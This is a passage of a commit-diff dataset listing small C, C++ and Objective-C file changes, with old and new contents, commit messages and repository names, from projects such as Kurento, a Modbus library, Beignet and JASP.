commit
stringlengths
40
40
old_file
stringlengths
4
112
new_file
stringlengths
4
112
old_contents
stringlengths
0
2.05k
new_contents
stringlengths
28
3.9k
subject
stringlengths
17
736
message
stringlengths
18
4.78k
lang
stringclasses
1 value
license
stringclasses
13 values
repos
stringlengths
7
111k
0b4834177de44756b689270394c72a016e0f9c6c
MKCommons/MKVersion.h
MKCommons/MKVersion.h
// // MKVersion.h // MKCommons // // Created by Michael Kuck on 9/27/13. // Copyright (c) 2013 Michael Kuck. All rights reserved. // extern NSString *const MKApplicationVersion(void); static NSUInteger const MAJOR = 1; static NSUInteger const MINOR = 10; static NSUInteger const PATCH = 4;
// // MKVersion.h // MKCommons // // Created by Michael Kuck on 9/27/13. // Copyright (c) 2013 Michael Kuck. All rights reserved. // extern NSString *const MKApplicationVersion(void); static NSUInteger const MAJOR = 1; static NSUInteger const MINOR = 11; static NSUInteger const PATCH = 0;
Increase version number of merge into master
Increase version number of merge into master
C
mit
mikumi/mkcommons-obj
9d7dfc15495bd6f005b8ede5b33aa10dfa0a8fce
Modules/Facilities/Model/FacilitiesRoom.h
Modules/Facilities/Model/FacilitiesRoom.h
// // FacilitiesRoom.h // MIT Mobile // // Created by Blake Skinner on 5/11/11. // Copyright (c) 2011 MIT. All rights reserved. // #import <Foundation/Foundation.h> #import <CoreData/CoreData.h> @class FacilitiesLocation; @interface FacilitiesRoom : NSManagedObject { @private } @property (nonatomic, retain) NSString * floor; @property (nonatomic, retain) NSString * number; @property (nonatomic, retain) NSString * building; - (NSString*)displayString; - (NSString*)description; @end
#import <Foundation/Foundation.h> #import <CoreData/CoreData.h> @class FacilitiesLocation; @interface FacilitiesRoom : NSManagedObject { @private } @property (nonatomic, retain) NSString * floor; @property (nonatomic, retain) NSString * number; @property (nonatomic, retain) NSString * building; - (NSString*)displayString; - (NSString*)description; @end
Remove the templated copyright statement
Remove the templated copyright statement
C
lgpl-2.1
MIT-Mobile/MIT-Mobile-for-iOS,xNUTs/MIT-Mobile-for-iOS,smartcop/MIT-Mobile-for-iOS,MIT-Mobile/MIT-Mobile-for-iOS,xNUTs/MIT-Mobile-for-iOS,smartcop/MIT-Mobile-for-iOS
535a3d3a07c7ca63326f35a915a23a4d5b55a353
OpenTESArena/src/Game/CardinalDirection.h
OpenTESArena/src/Game/CardinalDirection.h
#ifndef CARDINAL_DIRECTION_H #define CARDINAL_DIRECTION_H #include <string> #include "../Math/Vector2.h" #include "../World/VoxelUtils.h" // North, northeast, southwest, etc.. enum class CardinalDirectionName; namespace CardinalDirection { // Cardinal directions in the XZ plane (bird's eye view). const NewDouble2 North(-1.0, 0.0); const NewDouble2 South(1.0, 0.0); const NewDouble2 East(0.0, -1.0); const NewDouble2 West(0.0, 1.0); CardinalDirectionName getDirectionName(const NewDouble2 &direction); const std::string &toString(CardinalDirectionName directionName); } #endif
#ifndef CARDINAL_DIRECTION_H #define CARDINAL_DIRECTION_H #include <string> #include "../Math/Vector2.h" #include "../World/VoxelUtils.h" // North, northeast, southwest, etc.. enum class CardinalDirectionName; namespace CardinalDirection { // Cardinal directions in the XZ plane (bird's eye view). const NewDouble2 North(static_cast<double>(VoxelUtils::North.x), static_cast<double>(VoxelUtils::North.y)); const NewDouble2 South(static_cast<double>(VoxelUtils::South.x), static_cast<double>(VoxelUtils::South.y)); const NewDouble2 East(static_cast<double>(VoxelUtils::East.x), static_cast<double>(VoxelUtils::East.y)); const NewDouble2 West(static_cast<double>(VoxelUtils::West.x), static_cast<double>(VoxelUtils::West.y)); CardinalDirectionName getDirectionName(const NewDouble2 &direction); const std::string &toString(CardinalDirectionName directionName); } #endif
Make cardinal directions rely on VoxelUtils.
Make cardinal directions rely on VoxelUtils.
C
mit
afritz1/OpenTESArena
a3f14995378b1785bc17cc6d80d956003794006c
backend/src/libocl/include/ocl_printf.h
backend/src/libocl/include/ocl_printf.h
#ifndef __OCL_PRINTF_H__ #define __OCL_PRINTF_H__ #include "ocl_types.h" /* The printf function. */ /* From LLVM 3.4, c string are all in constant address space */ #if 100*__clang_major__ + __clang_minor__ < 304 int __gen_ocl_printf_stub(const char * format, ...); #else int __gen_ocl_printf_stub(constant char * format, ...); #endif #define printf __gen_ocl_printf_stub #endif
Add printf module into libocl
Add printf module into libocl Signed-off-by: Junyan He <[email protected]> Reviewed-by: Zhigang Gong <[email protected]>
C
lgpl-2.1
zhenyw/beignet,freedesktop-unofficial-mirror/beignet,freedesktop-unofficial-mirror/beignet,wdv4758h/beignet,freedesktop-unofficial-mirror/beignet,freedesktop-unofficial-mirror/beignet,wdv4758h/beignet,wdv4758h/beignet,zhenyw/beignet,wdv4758h/beignet,zhenyw/beignet,wdv4758h/beignet,zhenyw/beignet,zhenyw/beignet
830605fd9a90c933da058be4003da58b7b760e7e
test/CoverageMapping/unused_names.c
test/CoverageMapping/unused_names.c
// RUN: %clang_cc1 -fprofile-instr-generate -fcoverage-mapping -emit-llvm -o - %s | FileCheck %s // Since foo is never emitted, there should not be a profile name for it. // CHECK-NOT: @__llvm_profile_name_foo = // CHECK: @__llvm_profile_name_bar = // CHECK-NOT: @__llvm_profile_name_foo = #ifdef IS_SYSHEADER #pragma clang system_header inline int foo() { return 0; } #else #define IS_SYSHEADER #include __FILE__ int bar() { return 0; } #endif
// RUN: %clang_cc1 -fprofile-instr-generate -fcoverage-mapping -emit-llvm -main-file-name unused_names.c -o - %s > %t // RUN: FileCheck -input-file %t %s // RUN: FileCheck -check-prefix=SYSHEADER -input-file %t %s // Since foo is never emitted, there should not be a profile name for it. // CHECK-DAG: @__llvm_profile_name_bar = {{.*}} section "{{.*}}__llvm_prf_names" // CHECK-DAG: @__llvm_profile_name_baz = {{.*}} section "{{.*}}__llvm_prf_names" // CHECK-DAG: @"__llvm_profile_name_unused_names.c:qux" = {{.*}} section "{{.*}}__llvm_prf_names" // SYSHEADER-NOT: @__llvm_profile_name_foo = #ifdef IS_SYSHEADER #pragma clang system_header inline int foo() { return 0; } #else #define IS_SYSHEADER #include __FILE__ int bar() { return 0; } inline int baz() { return 0; } static int qux() { return 42; } #endif
Add a test for PR22531
InstrProf: Add a test for PR22531 This is a test for the llvm change in r228793. We need to make sure that names referred to by coverage end up in the right section, or the coverage tools won't work. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@228794 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang
4593b1ec0f82913fc5f7f6353d2e3add9de6ff39
include/pistache/prototype.h
include/pistache/prototype.h
/* Mathieu Stefani, 28 janvier 2016 Simple Prototype design pattern implement */ #pragma once #include <memory> #include <type_traits> namespace Pistache { /* In a sense, a Prototype is just a class that provides a clone() method */ template <typename Class> struct Prototype { public: virtual ~Prototype() { } virtual std::shared_ptr<Class> clone() const = 0; }; } // namespace Pistache #define PROTOTYPE_OF(Base, Class) \ public: \ std::shared_ptr<Base> clone() const override \ { \ return std::make_shared<Class>(*this); \ }\
/* Mathieu Stefani, 28 janvier 2016 Simple Prototype design pattern implement */ #pragma once #include <memory> #include <type_traits> namespace Pistache { /* In a sense, a Prototype is just a class that provides a clone() method */ template <typename Class> struct Prototype { public: virtual ~Prototype() { } virtual std::shared_ptr<Class> clone() const = 0; }; } // namespace Pistache #define PROTOTYPE_OF(Base, Class) \ public: \ std::shared_ptr<Base> clone() const override \ { \ return std::make_shared<Class>(*this); \ }
Fix warning: backslash-newline at end of file
Fix warning: backslash-newline at end of file
C
apache-2.0
oktal/rest,oktal/rest,oktal/rest,oktal/rest
cde246f309cc3c3fc4c5aaef4f1eb9a191b5b4ec
JASP-Engine/rbridge.h
JASP-Engine/rbridge.h
#ifndef RBRIDGE_H #define RBRIDGE_H #include <RInside.h> #include <Rcpp.h> #include <string> #include <map> #include <boost/function.hpp> #include "../JASP-Common/dataset.h" #ifdef __WIN32__ #undef Realloc #undef Free #endif //typedef int (*RCallback)(std::string value); typedef boost::function<int(const std::string &)> RCallback; void rbridge_init(); void rbridge_setDataSet(DataSet *dataSet); std::string rbridge_run(const std::string &name, const std::string &options, const std::string &perform = "run", RCallback callback = NULL); #endif // RBRIDGE_H
#ifndef RBRIDGE_H #define RBRIDGE_H #include <RInside.h> #include <Rcpp.h> #ifdef __WIN32__ #undef Realloc #undef Free #endif #include <string> #include <map> #include <boost/function.hpp> #include "../JASP-Common/dataset.h" //typedef int (*RCallback)(std::string value); typedef boost::function<int(const std::string &)> RCallback; void rbridge_init(); void rbridge_setDataSet(DataSet *dataSet); std::string rbridge_run(const std::string &name, const std::string &options, const std::string &perform = "run", RCallback callback = NULL); #endif // RBRIDGE_H
Fix to windows build errors
Fix to windows build errors
C
agpl-3.0
FransMeerhoff/jasp-desktop,cgvarela/jasp-desktop,AlexanderLyNL/jasp-desktop,tlevine/jasp-desktop,AlexanderLyNL/jasp-desktop,AlexanderLyNL/jasp-desktop,boutinb/jasp-desktop,raviselker/jasp-desktop,fdabl/jasp-desktop,jasp-stats/jasp-desktop,vankesteren/jasp-desktop,vankesteren/jasp-desktop,tlevine/jasp-desktop,boutinb/jasp-desktop,jasp-stats/jasp-desktop,cgvarela/jasp-desktop,aknight1-uva/jasp-desktop,Tahiraj/jasp-desktop,raviselker/jasp-desktop,dropmann/jasp-desktop,TimKDJ/jasp-desktop,Tahiraj/jasp-desktop,FransMeerhoff/jasp-desktop,raviselker/jasp-desktop,AlexanderLyNL/jasp-desktop,FransMeerhoff/jasp-desktop,cgvarela/jasp-desktop,dostodabsi/jasp-desktop,dropmann/jasp-desktop,dostodabsi/jasp-desktop,dropmann/jasp-desktop,AlexanderLyNL/jasp-desktop,FransMeerhoff/jasp-desktop,boutinb/jasp-desktop,boutinb/jasp-desktop,dostodabsi/jasp-desktop,vankesteren/jasp-desktop,vankesteren/jasp-desktop,TimKDJ/jasp-desktop,vankesteren/jasp-desktop,jasp-stats/jasp-desktop,aknight1-uva/jasp-desktop,AlexanderLyNL/jasp-desktop,TimKDJ/jasp-desktop,aknight1-uva/jasp-desktop,dostodabsi/jasp-desktop,fdabl/jasp-desktop,TimKDJ/jasp-desktop,fdabl/jasp-desktop,dropmann/jasp-desktop,vankesteren/jasp-desktop,raviselker/jasp-desktop,boutinb/jasp-desktop,AlexanderLyNL/jasp-desktop,dostodabsi/jasp-desktop,FransMeerhoff/jasp-desktop,dropmann/jasp-desktop,jasp-stats/jasp-desktop,boutinb/jasp-desktop,dostodabsi/jasp-desktop,jasp-stats/jasp-desktop,Tahiraj/jasp-desktop,jasp-stats/jasp-desktop,cgvarela/jasp-desktop,jasp-stats/jasp-desktop,cgvarela/jasp-desktop,vankesteren/jasp-desktop,raviselker/jasp-desktop,TimKDJ/jasp-desktop,TimKDJ/jasp-desktop,raviselker/jasp-desktop,tlevine/jasp-desktop,tlevine/jasp-desktop,aknight1-uva/jasp-desktop,FransMeerhoff/jasp-desktop,FransMeerhoff/jasp-desktop,tlevine/jasp-desktop,jasp-stats/jasp-desktop,vankesteren/jasp-desktop,fdabl/jasp-desktop,raviselker/jasp-desktop,fdabl/jasp-desktop,dostodabsi/jasp-desktop,fdabl/jasp-desktop,aknight1-uva/jasp-desktop,aknight1-uva/jasp-desktop,boutinb/jasp-desktop,aknight1-uva/jasp-desktop,fdabl/jasp-desktop,Tahiraj/jasp-desktop,Tahiraj/jasp-desktop,TimKDJ/jasp-desktop,FransMeerhoff/jasp-desktop,AlexanderLyNL/jasp-desktop,TimKDJ/jasp-desktop,dropmann/jasp-desktop,boutinb/jasp-desktop,dropmann/jasp-desktop
3b2deef3a403bbfe1dcb3e22fde3b8fecc3ccd08
modules/dcc_chat.h
modules/dcc_chat.h
class dccChat : public Module { public: virtual ~dccChat(); virtual void onDCCReceive(std::string dccid, std::string message); virtual void onDCCEnd(std::string dccid); }; class dccSender : public Module { public: virtual ~dccSender(); virtual void dccSend(std::string dccid, std::string message); virtual bool hookDCCMessage(std::string modName, std::string hookMsg); virtual void unhookDCCSession(std::string modName, std::string dccid); }; dccChat::~dccChat() {} void dccChat::onDCCReceive(std::string dccid, std::string message) {} void dccChat::onDCCEnd(std::string dccid) {} dccSender::~dccSender() {} void dccSender::dccSend(std::string dccid, std::string message) {} bool dccSender::hookDCCMessage(std::string modName, std::string hookMsg) { return false; } void dccSender::unhookDCCSession(std::string modName, std::string dccid) {}
class dccChat : public Module { public: virtual ~dccChat(); virtual void onDCCReceive(std::string dccid, std::string message); virtual void onDCCEnd(std::string dccid); }; class dccSender : public Module { public: virtual ~dccSender(); virtual void dccSend(std::string dccid, std::string message); virtual bool hookDCCMessage(std::string modName, std::string hookMsg); virtual void unhookDCCSession(std::string modName, std::string dccid); virtual std::vector<std::string> getConnections(); virtual void closeDCCConnection(std::string dccid); }; dccChat::~dccChat() {} void dccChat::onDCCReceive(std::string dccid, std::string message) {} void dccChat::onDCCEnd(std::string dccid) {} dccSender::~dccSender() {} void dccSender::dccSend(std::string dccid, std::string message) {} bool dccSender::hookDCCMessage(std::string modName, std::string hookMsg) { return false; } void dccSender::unhookDCCSession(std::string modName, std::string dccid) {}
Add important DCC functions to DCC header for interaction
Add important DCC functions to DCC header for interaction
C
mit
ElementalAlchemist/RoBoBo,ElementalAlchemist/RoBoBo
4694d1f290fd37bddff9a31c7b6b57a0a0f3d5af
token_server/src/main.c
token_server/src/main.c
#include <stdio.h> #include <stdlib.h> #include <errno.h> #include "httpserv.h" #include "request.h" #define PORT 5556 #define BACKLOG 5 int main(int argc, char* argv[]) { setup_openssl(); req* r = init_request(); char* res = request_kahoot_token(r, "6573712"); printf("%s\n", res); return 0; };
#include <stdio.h> #include <stdlib.h> #include <errno.h> #include "httpserv.h" #include "request.h" #include "kahoot.h" #define PORT 5556 #define BACKLOG 5 #define HEADERS "HTTP/1.1 200 OK\ Server: openresty/1.11.2.2\ Date: Tue, 28 Mar 2017 14:55:03 GMT\ Content-Type: application/json\ Transfer-Encoding: chunked\ Connection: keep-alive\ Vary: Accept-Encoding\ x-kahoot-session-token: UhMIEhNAWF8LCgRTUSdNKwx+LWBRW39dfjoTTmwAcXBwCDdZDV1qfXcJJwJmLQdFLE0Obh9XW2d1GRB5QVJ6eF5fOU8GUgNvcgV7BW8DDlA5eGBcYG5XYjRmPS1CGGFP\ \ 1a4\ {\"twoFactorAuth\":false,\"challenge\":"decode('rX7Rw1SRHxgrZVYKWkGHmVATO4zEGrV8Sl89RKwf3o82PZkT6e5eFjYNlPyu1HOpp724MtdhTGqgXHPLcYxNkBPjuEdarpy0BJJ1'); function decode(message) {var offset = ((67 + 21 * (98 * 54)) + (8 + 98) + 15); console.log(\"Offset derived as:\", offset); return _.replace(message, /./g, function(char, position) {return String.fromCharCode((((char.charCodeAt(0) * position) + offset) % 77) + 48);});}\"}\ 0" int main(int argc, char* argv[]) { setup_openssl(); // return 0; };
Add sample headers as a macro
Add sample headers as a macro
C
mit
ukahoot/ukahoot,ukahoot/ukahoot.github.io,ukahoot/ukahoot,ukahoot/ukahoot.github.io,ukahoot/ukahoot.github.io,ukahoot/ukahoot,ukahoot/ukahoot
b2550d29e716c535c255ddffb5b82cb1379ed491
libraries/ModbusIP/ModbusIP.h
libraries/ModbusIP/ModbusIP.h
/* ModbusIP.h - Header for Modbus IP Library Copyright (C) 2015 Andr Sarmento Barbosa */ #include <Arduino.h> #include <Modbus.h> #include <SPI.h> #include <Ethernet.h> #ifndef MODBUSIP_H #define MODBUSIP_H #define MODBUSIP_PORT 502 #define MODBUSIP_MAXFRAME 200 class ModbusIP : public Modbus { private: EthernetServer _server; byte _MBAP[7]; public: ModbusIP(); bool config(uint8_t *mac, IPAddress ip, IPAddress dns, IPAddress gateway, IPAddress subnet); void proc(); }; #endif //MODBUSIP_H
/* ModbusIP.h - Header for Modbus IP Library Copyright (C) 2015 Andr Sarmento Barbosa */ #include <Arduino.h> #include <Modbus.h> #include <SPI.h> #include <Ethernet.h> #ifndef MODBUSIP_H #define MODBUSIP_H #define MODBUSIP_PORT 502 #define MODBUSIP_MAXFRAME 200 class ModbusIP : public Modbus { private: EthernetServer _server; byte _MBAP[7]; public: ModbusIP(); void config(uint8_t *mac); void config(uint8_t *mac, IPAddress ip); void config(uint8_t *mac, IPAddress ip, IPAddress dns); void config(uint8_t *mac, IPAddress ip, IPAddress dns, IPAddress gateway); void config(uint8_t *mac, IPAddress ip, IPAddress dns, IPAddress gateway, IPAddress subnet); void task(); }; #endif //MODBUSIP_H
Change proc() to task() and put overloaded config types.
Change proc() to task() and put overloaded config types.
C
bsd-3-clause
unparallel-innovation/Modbus-Slave,andresarmento/modbus-arduino,unparallel-innovation/Modbus-Slave
8ad7d79b10b4db785bc4477c206521284ec280ae
include/sauce/internal/disposal_deleter.h
include/sauce/internal/disposal_deleter.h
#ifndef SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_ #define SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_ #include <sauce/memory.h> namespace sauce { namespace internal { namespace bindings { template<typename Dependency, typename Scope> class NakedBinding; /** * A smart pointer deleter that diposes with a given binding. */ template<typename Dependency, typename Scope> class DisposalDeleter { typedef typename Key<Dependency>::Iface Iface; typedef sauce::shared_ptr<NakedBinding<Dependency, Scope> > BindingPtr; friend class NakedBinding<Dependency, Scope>; BindingPtr binding; DisposalDeleter(BindingPtr binding): binding(binding) {} public: /** * Cast and dispose the given Iface instance. */ void operator()(Iface * iface) const { binding->dispose(iface); } }; } } namespace i = ::sauce::internal; namespace b = ::sauce::internal::bindings; } #endif // SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_
#ifndef SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_ #define SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_ #include <sauce/memory.h> namespace sauce { namespace internal { namespace bindings { template<typename Dependency, typename Scope> class NakedBinding; } namespace b = ::sauce::internal::bindings; /** * A smart pointer deleter that diposes with a given binding. */ template<typename Dependency, typename Scope> class DisposalDeleter { typedef typename Key<Dependency>::Iface Iface; typedef sauce::shared_ptr<b::NakedBinding<Dependency, Scope> > BindingPtr; friend class b::NakedBinding<Dependency, Scope>; BindingPtr binding; DisposalDeleter(BindingPtr binding): binding(binding) {} public: /** * Cast and dispose the given Iface instance. */ void operator()(Iface * iface) const { binding->dispose(iface); } }; } namespace i = ::sauce::internal; } #endif // SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_
Move DisposalDeleter out of bindings namespace.
Move DisposalDeleter out of bindings namespace.
C
mit
phs/sauce,phs/sauce,phs/sauce,phs/sauce
dbc62f00421915cc1934369dfca4b0708b523ae5
tests/regression/37-congruence/05-implicitunsignedconversion-1.c
tests/regression/37-congruence/05-implicitunsignedconversion-1.c
// PARAM: --enable ana.int.congruence --enable ana.int.congruence_no_overflow // from https://github.com/sosy-lab/sv-benchmarks/blob/master/c/bitvector-regression/implicitunsignedconversion-1.c int main() { unsigned int plus_one = 1; int minus_one = -1; int v = 0; if(plus_one < minus_one) { v = 1; assert(1); } assert(v==1); // from https://github.com/sosy-lab/sv-benchmarks/blob/master/c/bitvector-regression/integerpromotion-3.c unsigned char port = 0x5a; unsigned char result_8 = ( ~port ) >> 4; if (result_8 == 0xfa) { v = 2; } assert(v==2); // UNKNOWN // from https://github.com/sosy-lab/sv-benchmarks/blob/master/c/bitvector-regression/signextension-1.c unsigned short int allbits = -1; short int signedallbits = allbits; int unsignedtosigned = allbits; unsigned int unsignedtounsigned = allbits; int signedtosigned = signedallbits; unsigned int signedtounsigned = signedallbits; /* printf ("unsignedtosigned: %d\n", unsignedtosigned); printf ("unsignedtounsigned: %u\n", unsignedtounsigned); printf ("signedtosigned: %d\n", signedtosigned); printf ("signedtounsigned: %u\n", signedtounsigned); */ if (unsignedtosigned == 65535 && unsignedtounsigned == 65535 && signedtosigned == -1 && signedtounsigned == 4294967295) { v =3; } assert(v==3); // UNKNOWN return (0); }
Add some of these cast examples as test for congruences
Add some of these cast examples as test for congruences
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
d26e89dfcb592e2f51352640822d625ee560aca7
test/FrontendC/vla-1.c
test/FrontendC/vla-1.c
// RUN: %llvmgcc -std=gnu99 %s -S |& grep {error: "is greater than the stack alignment" } int foo(int a) { int var[a] __attribute__((__aligned__(32))); return 4; }
Add a testcase for the vla and stack realignment warning.
Add a testcase for the vla and stack realignment warning. git-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@108365 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
GPUOpen-Drivers/llvm,llvm-mirror/llvm,apple/swift-llvm,GPUOpen-Drivers/llvm,llvm-mirror/llvm,dslab-epfl/asap,GPUOpen-Drivers/llvm,apple/swift-llvm,apple/swift-llvm,dslab-epfl/asap,chubbymaggie/asap,llvm-mirror/llvm,apple/swift-llvm,llvm-mirror/llvm,dslab-epfl/asap,GPUOpen-Drivers/llvm,apple/swift-llvm,llvm-mirror/llvm,chubbymaggie/asap,apple/swift-llvm,chubbymaggie/asap,GPUOpen-Drivers/llvm,dslab-epfl/asap,GPUOpen-Drivers/llvm,llvm-mirror/llvm,apple/swift-llvm,dslab-epfl/asap,dslab-epfl/asap,GPUOpen-Drivers/llvm,llvm-mirror/llvm,chubbymaggie/asap,dslab-epfl/asap,GPUOpen-Drivers/llvm,llvm-mirror/llvm,apple/swift-llvm,chubbymaggie/asap,chubbymaggie/asap,llvm-mirror/llvm
f16528c032e344e4e8811c990c2d8736166e586c
src/transport.h
src/transport.h
#ifndef TELEMETRY_TRANSPORT_HPP_ #define TELEMETRY_TRANSPORT_HPP_ #include "HardwareSerial.h" int32_t read(uint8_t * buf, uint32_t sizeToRead) { return Serial.readBytes((char*)(buf), sizeToRead); } int32_t write(uint8_t * buf, uint32_t sizeToWrite) { Serial.write((char*)(buf),sizeToWrite); return 0; } int32_t readable() { return Serial.available(); } int32_t writeable() { return Serial.availableForWrite(); } #endif
#ifndef TELEMETRY_TRANSPORT_HPP_ #define TELEMETRY_TRANSPORT_HPP_ #include "HardwareSerial.h" #include "Arduino.h" int32_t read(uint8_t * buf, uint32_t sizeToRead) { return Serial.readBytes((char*)(buf), sizeToRead); } int32_t write(uint8_t * buf, uint32_t sizeToWrite) { Serial.write((char*)(buf),sizeToWrite); return 0; } int32_t readable() { return Serial.available(); } int32_t writeable() { return Serial.availableForWrite(); } #endif
Fix missing header error in some boards
Fix missing header error in some boards
C
mit
Overdrivr/Telemetry-arduino,Overdrivr/Telemetry-arduino
2484078050810da411d1ee3230558a1c4aa33ae3
prototype/luamake/luamake.c
prototype/luamake/luamake.c
#include <lua.h> #include <lauxlib.h> #include <lualib.h> int main(int argc, char *argv[]) { lua_State *ls; int status; ls = luaL_newstate(); if(argc > 1) { status = luaL_loadfile(ls, argv[1]); if(status) { printf("ERROR: %s\n", lua_tostring(ls, -1)); } } lua_close(ls); return 0; }
Add initial lua integration concept
Add initial lua integration concept
C
mit
sjanhunen/moss,sjanhunen/gnumake-molds,sjanhunen/moss
a79ace9c10f52cc7124bd900bca94603978dc561
include/tasks/clock_server.h
include/tasks/clock_server.h
#ifndef __CLOCK_SERVER_H__ #define __CLOCK_SERVER_H__ #include <std.h> #include <scheduler.h> extern int clock_server_tid; typedef enum { CLOCK_NOTIFY = 1, CLOCK_DELAY = 2, CLOCK_TIME = 3, CLOCK_DELAY_UNTIL = 4 } clock_req_type; typedef struct { clock_req_type type; uint ticks; } clock_req; void clock_server(void); #endif
#ifndef __CLOCK_SERVER_H__ #define __CLOCK_SERVER_H__ #include <std.h> #include <scheduler.h> extern int clock_server_tid; typedef enum { CLOCK_NOTIFY = 1, CLOCK_DELAY = 2, CLOCK_TIME = 3, CLOCK_DELAY_UNTIL = 4 } clock_req_type; typedef struct { clock_req_type type; uint ticks; } clock_req; void __attribute__ ((noreturn)) clock_server(void); #endif
Fix warning given by Clang
Fix warning given by Clang
C
mit
ferrous26/cs452-flaming-meme,ferrous26/cs452-flaming-meme,ferrous26/cs452-flaming-meme
633f65f6eed79b6a13d8fe76cfdb0ac19116e118
server/types/JoinableImpl.h
server/types/JoinableImpl.h
#ifndef JOINABLE_IMPL #define JOINABLE_IMPL #include "joinable_types.h" #include "types/MediaObjectImpl.h" using ::com::kurento::kms::api::Joinable; using ::com::kurento::kms::api::Direction; using ::com::kurento::kms::api::StreamType; using ::com::kurento::kms::api::MediaSession; namespace com { namespace kurento { namespace kms { class JoinableImpl : public Joinable, public virtual MediaObjectImpl { public: JoinableImpl(MediaSession &session); ~JoinableImpl() throw() {}; std::vector<StreamType::type> getStreams(const Joinable& joinable); void join(const JoinableImpl& to, const Direction::type direction); void unjoin(const JoinableImpl& to); void join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction); void unjoin(const JoinableImpl& to, const StreamType::type stream); std::vector<Joinable> &getJoinees(); std::vector<Joinable> &getDirectionJoiness(const Direction::type direction); std::vector<Joinable> &getJoinees(const StreamType::type stream); std::vector<Joinable> &getDirectionJoiness(const StreamType::type stream, const Direction::type direction); }; }}} // com::kurento::kms #endif /* JOINABLE_IMPL */
#ifndef JOINABLE_IMPL #define JOINABLE_IMPL #include "joinable_types.h" #include "types/MediaObjectImpl.h" using ::com::kurento::kms::api::Joinable; using ::com::kurento::kms::api::Direction; using ::com::kurento::kms::api::StreamType; using ::com::kurento::kms::api::MediaSession; namespace com { namespace kurento { namespace kms { class JoinableImpl : public Joinable, public virtual MediaObjectImpl { public: JoinableImpl(MediaSession &session); ~JoinableImpl() throw() {}; void getStreams(std::vector<StreamType::type> &_return); void join(const JoinableImpl& to, const Direction::type direction); void unjoin(const JoinableImpl& to); void join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction); void unjoin(const JoinableImpl& to, const StreamType::type stream); void getJoinees(std::vector<Joinable> &_return); void getDirectionJoiness(std::vector<Joinable> &_return, const Direction::type direction); void getJoinees(std::vector<Joinable> &_return, const StreamType::type stream); void getDirectionJoiness(std::vector<Joinable> &_return, const StreamType::type stream, const Direction::type direction); }; }}} // com::kurento::kms #endif /* JOINABLE_IMPL */
Make jonable methods to return vectors via reference
Make jonable methods to return vectors via reference
C
lgpl-2.1
mparis/kurento-media-server,Kurento/kurento-media-server,todotobe1/kurento-media-server,TribeMedia/kurento-media-server,lulufei/kurento-media-server,Kurento/kurento-media-server,shelsonjava/kurento-media-server,todotobe1/kurento-media-server,mparis/kurento-media-server,lulufei/kurento-media-server,shelsonjava/kurento-media-server,TribeMedia/kurento-media-server
390d2ed51617ed0c5cde961c0bc9daa1caece1fe
NavigationReactNative/src/ios/NVSceneController.h
NavigationReactNative/src/ios/NVSceneController.h
#import <UIKit/UIKit.h> @interface NVSceneController : UIViewController @property (nonatomic, copy) void (^boundsDidChangeBlock)(NVSceneController *controller); @property (nonatomic, assign) UIStatusBarStyle statusBarStyle; @property (nonatomic, assign) BOOL statusBarHidden; - (id)initWithScene:(UIView *)view; @end @protocol NVScene @property (nonatomic, assign) BOOL hidesTabBar; - (void)didPop; @end @protocol NVNavigationBar @property (nonatomic, assign) BOOL isHidden; @property (nonatomic, assign) BOOL largeTitle; @property (nonatomic, copy) NSString* title; @property (nonatomic, copy) NSString *backTitle; - (void)updateStyle; @end @protocol NVSearchBar @property UISearchController *searchController; @property (nonatomic, assign) BOOL hideWhenScrolling; @end @protocol NVStatusBar @property (nonatomic, assign) UIStatusBarStyle tintStyle; @property (nonatomic, assign) BOOL hidden; - (void)updateStyle; @end
#import <UIKit/UIKit.h> @interface NVSceneController : UIViewController @property (nonatomic, copy) void (^boundsDidChangeBlock)(NVSceneController *controller); @property (nonatomic, assign) UIStatusBarStyle statusBarStyle; @property (nonatomic, assign) BOOL statusBarHidden; - (id)initWithScene:(UIView *)view; @end @protocol NVScene @property (nonatomic, assign) BOOL hidesTabBar; - (void)didPop; @end @protocol NVNavigationBar @property (nonatomic, assign) BOOL isHidden; @property (nonatomic, assign) BOOL largeTitle; @property (nonatomic, copy) NSString* title; @property (nonatomic, copy) NSString *backTitle; - (void)updateStyle; @end @protocol NVSearchBar @property UISearchController *searchController; @property (nonatomic, assign) BOOL hideWhenScrolling; @end @protocol NVStatusBar @property (nonatomic, assign) UIStatusBarStyle tintStyle; @property (nonatomic, assign) BOOL hidden; - (void)updateStyle; @end
Remove line so file doesn't show in diff
Remove line so file doesn't show in diff
C
apache-2.0
grahammendick/navigation,grahammendick/navigation,grahammendick/navigation,grahammendick/navigation,grahammendick/navigation,grahammendick/navigation,grahammendick/navigation
8d94846a4443ed99ccd7877bad0a558c73593441
src/shutdowncheck.h
src/shutdowncheck.h
#ifndef QAK_SHUTDOWN_CHECK_H #define QAK_SHUTDOWN_CHECK_H #include <QDebug> #include <QObject> #include <QStandardPaths> #include <QFile> #include <QFileInfo> #include <QDateTime> class ShutdownCheck : public QObject { Q_OBJECT public: enum Status { OK, FAILED, Error }; Q_ENUM(Status) Q_PROPERTY(int status READ status NOTIFY statusChanged) explicit ShutdownCheck(QObject* parent = 0); ~ShutdownCheck(); int status() const; void setStatus(int status); signals: void statusChanged(); private: QString _dataPath; QString _mark; int _status; void writeMark(); void removeMark(); bool markExists(); }; #endif // QAK_SHUTDOWN_CHECK_H
